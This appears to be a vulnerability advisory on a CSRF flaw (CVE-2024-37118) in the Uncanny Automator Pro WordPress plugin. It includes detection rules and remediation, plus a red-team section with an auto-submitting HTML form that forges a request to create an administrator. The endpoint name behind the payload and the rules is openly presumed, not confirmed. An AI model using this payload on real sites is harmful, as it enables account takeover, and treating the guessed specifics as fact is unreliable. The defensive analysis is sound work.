CVE-2024-37118

Executive Summary

CVE-2024-37118 is a Cross-Site Request Forgery (CSRF) vulnerability in the Uncanny Automator Pro WordPress plugin, affecting versions from n/a through 5.3. This vulnerability allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying automation workflows or settings, without their consent. The CVSS score is 5.4 (Medium), with a low EPSS probability of 0.0%, indicating limited active exploitation in the wild. No public proof-of-concept or exploit code is available at this time.

Supply Chain & Package Security

This vulnerability affects a commercial WordPress plugin (Uncanny Automator Pro), which is distributed via the Uncanny Owl website and not through public package registries like NPM or PyPI. The risk is primarily to WordPress site administrators who have installed the plugin. Supply chain risks include potential compromise of the plugin update mechanism or distribution channel, though no such incidents have been reported.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network (AV:N) – The attack can be launched remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – The attacker does not need authentication.
• User Interaction: Required (UI:R) – The victim must click a link or visit a malicious page.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: Low (C:L) – Limited information disclosure possible.
• Integrity Impact: Low (I:L) – Limited modification of data possible.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The requirement for user interaction reduces the risk, but the potential to modify automation workflows could lead to privilege escalation or data exfiltration if chained with other vulnerabilities.

Deep Dive & Mechanics

The vulnerability exists in the Uncanny Automator Pro plugin, which allows users to create automated workflows (recipes) for WordPress. A CSRF flaw means that the plugin does not properly validate or include anti-CSRF tokens in sensitive state-changing requests (e.g., creating, modifying, or deleting recipes). An attacker can craft a malicious HTML page or email that, when visited by an authenticated administrator, triggers a forged request to the WordPress admin area. This request could:

• Create a new automation recipe that sends sensitive data to an external server.
• Modify an existing recipe to execute malicious actions (e.g., creating admin users).
• Delete critical automation rules, causing denial of service.

The root cause is the lack of nonce verification in AJAX handlers or form submissions related to recipe management. WordPress provides built-in CSRF protection via nonces, but the plugin fails to implement them correctly.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the plugin's AJAX handlers. A typical vulnerable pattern would be:

// Vulnerable: No nonce check
add_action('wp_ajax_uap_save_recipe', 'uap_save_recipe');
function uap_save_recipe() {
    // Process recipe data without verifying request origin
    update_option('uap_recipe', $_POST['recipe_data']);
}

A patched version would include a nonce check:

// Patched: Nonce verification added
add_action('wp_ajax_uap_save_recipe', 'uap_save_recipe');
function uap_save_recipe() {
    if (!wp_verify_nonce($_POST['_wpnonce'], 'uap_save_recipe_nonce')) {
        wp_die('CSRF validation failed.');
    }
    update_option('uap_recipe', $_POST['recipe_data']);
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

1. Setup: Deploy a WordPress instance with Uncanny Automator Pro version 5.3.
2. Craft Payload: Create an HTML page that auto-submits a form to the WordPress admin AJAX endpoint:

   <html>
   <body>
   <form action="http://target/wp-admin/admin-ajax.php" method="POST">
       <input type="hidden" name="action" value="uap_save_recipe">
       <input type="hidden" name="recipe_data" value='{"name":"malicious_recipe","actions":[{"type":"create_user","data":{"role":"administrator"}}]}'>
       <input type="submit" value="Submit">
   </form>
   <script>document.forms[0].submit();</script>
   </body>
   </html>
   

3. Deliver: Host the page on an attacker-controlled server and send the link to an authenticated admin via phishing email.
4. Trigger: When the admin visits the page, the CSRF request executes, creating a malicious recipe.

Blue Team (Detection & Defense)

• Monitor AJAX Requests: Look for unexpected admin-ajax.php requests from non-admin IPs or with unusual action parameters.
• Check Referer Headers: Validate that requests to sensitive endpoints originate from the same site.
• Implement CSRF Tokens: Ensure all state-changing requests include a valid nonce.
• User Education: Train administrators to avoid clicking suspicious links while logged into WordPress.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /wp-admin/admin-ajax.php with action=uap_save_recipe or similar.
• File: Unexpected recipe entries in the wp_options table under uap_recipe or similar keys.
• Log: WordPress debug logs showing failed nonce checks (if logging enabled).
• Behavior: Creation of new admin users or unexpected automation rules.

Detection Engineering

YARA Rule

rule Detect_Uncanny_Automator_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploit attempts against Uncanny Automator Pro"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "CVE-2024-37118"
    strings:
        $ajax_action = "admin-ajax.php"
        $uap_action = "uap_save_recipe"
        $recipe_data = "recipe_data"
    condition:
        all of them
}

Sigma Rule

title: Uncanny Automator Pro CSRF Exploit Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential CSRF attacks against Uncanny Automator Pro
author: Valters IT
date: 2025-04-17
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=uap_save_recipe'
    condition: selection
falsepositives:
    - Legitimate plugin usage by administrators
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-37118 Uncanny Automator Pro CSRF Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=uap_save_recipe"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the Uncanny Automator Pro plugin until a patch is released.
2. Workaround: Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php with suspicious action parameters.
3. Long-term Fix: Apply the vendor patch when available. If custom development, add nonce verification to all AJAX handlers.
4. Monitoring: Enable WordPress debug logging and monitor for CSRF-related errors.
5. User Training: Educate administrators on phishing risks and the importance of logging out after sessions.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert